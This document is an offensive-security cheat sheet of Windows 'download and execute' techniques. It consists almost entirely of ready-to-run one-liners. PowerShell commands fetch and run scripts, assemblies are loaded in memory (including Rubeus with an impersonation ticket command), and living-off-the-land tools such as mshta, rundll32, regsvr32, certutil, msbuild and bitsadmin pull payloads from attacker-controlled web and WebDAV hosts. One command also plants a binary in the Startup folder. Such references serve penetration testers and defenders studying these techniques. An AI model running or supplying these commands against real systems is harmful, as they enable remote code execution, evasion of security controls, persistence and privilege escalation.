Windows - Download and execute methods

Downloaded files location

  • C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"

# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly 
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

From a Webdav server

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Cmd

cmd.exe /k < \\webdavserver\folder\batchfile.txt

Cscript / Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta

Rundll32

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Regasm / Regsvc @subTee

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Regsvr32 @subTee

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Certutil

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Bitsadmin

bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe

References